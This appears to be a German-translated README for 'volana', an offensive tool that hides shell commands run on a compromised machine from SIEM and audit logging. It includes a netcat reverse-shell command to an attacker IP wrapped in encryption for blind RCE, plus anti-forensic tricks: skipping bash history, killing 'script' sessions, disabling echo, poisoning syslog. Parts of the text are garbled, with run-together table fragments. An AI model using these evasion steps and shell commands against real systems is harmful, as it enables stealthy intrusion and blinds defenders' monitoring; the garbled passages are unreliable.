
🌒 Shell-Befehlsobfuskation zur Umgehung von Erkennungssystemen
Während eines Pentests ist ein wichtiger Aspekt, unauffällig zu sein. Aus diesem Grund solltest du deine Spuren nach deinem Aufenthalt verwischen. Dennoch protokollieren viele Infrastrukturen Befehle und senden sie in Echtzeit an ein SIEM, was die anschließende Reinigung allein nutzlos macht. bietet eine einfache Möglichkeit, auf einer kompromittierten Maschine ausgeführte Befehle zu verstecken, indem es eine eigene Shell-Laufzeitumgebung bereitstellt (Befehl eingeben, volana führt ihn aus). Auf diese Weise verwischst du deine Spuren deines Aufenthalts.
volanaDu brauchst eine interaktive Shell. (Finde einen Weg, sie zu starten, du bist ein Hacker, das ist dein Job! ansonsten). Lade sie dann auf der Zielmaschine herunter und starte sie. Das war's, jetzt kannst du die Befehle eingeben, die du unauffällig ausführen möchtest.
## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana
## Execute it
./volana
## You are now under the radar
volana » echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky
volana » [command]
Schlüsselwörter für die volana-Konsole:
ring: aktiviert den Ringmodus, d.h. jeder Befehl wird mit vielen anderen gestartet, um die Spuren zu verwischen (vor Lösungen, die Systemaufrufe überwachen)exit: volana-Konsole beendenStell dir vor, du hast eine nicht interaktive Shell (Webshell oder blindes RCE). Du könntest die Unterbefehle encrypt und decrypt verwenden. Zuvor musst du volana mit eingebettetem Verschlüsselungsschlüssel erstellen.
Auf der Angreifermaschine
## Build volana with encryption key
make build.volana-with-encryption
## Transfer it on TARGET (the unique detectable command)
## [...]
## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND
Kopiere den verschlüsselten Befehl und führe ihn mit deinem RCE auf der Zielmaschine aus
./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)
Warum nicht einfach den Befehl mit echo [command] | base64 verstecken?
Und auf dem Ziel mit echo [encoded_command] | base64 -d | bash dekodieren?
Weil wir vor Systemen geschützt sein wollen, die bei Verwendung von base64 einen Alarm auslösen oder nach Base64-Text im Befehl suchen. Außerdem wollen wir die Untersuchung erschweren, und Base64 ist keine echte Hürde.
Beachte, dass volana kein Wundermittel ist, das dich völlig unsichtbar macht. Sein Ziel ist es, die Erkennung von Eindringlingen und die Untersuchung zu erschweren.
Mit 'erkannt' meinen wir, ob es möglich ist, einen Alarm auszulösen, wenn ein bestimmter Befehl ausgeführt wurde.
Nur die Befehlszeile zum Starten von volana wird erfasst. 🧠 Wenn du jedoch ein Leerzeichen vor der Ausführung hinzufügst, speichert das Standard-Bash-Verhalten es nicht.
.bash_history, ".zsh_history" etc ..opensnoop)script, screen -L, sexonthebash, ovh-ttyrec, usw.)
pkill -9 scriptscreen ist etwas schwieriger zu umgehen, zeichnet jedoch keine Eingaben auf (Geheimeingabe: stty -echo => umgehen)volana mit Verschlüsselung umgangen werden/var/log/auth.log)
sudo- oder su-Befehlelogger -p auth.info "No hacker is poisoning your syslog solution, don't worry")LD_PRELOAD-Injektion zur Protokollierung
Entschuldigung für den Clickbait-Titel, aber es wird kein Geld für Beitragende geben. 🐛
Lass mich wissen, wenn du Folgendes gefunden hast:
volana zu erkennenvolana-Befehle nicht erkennt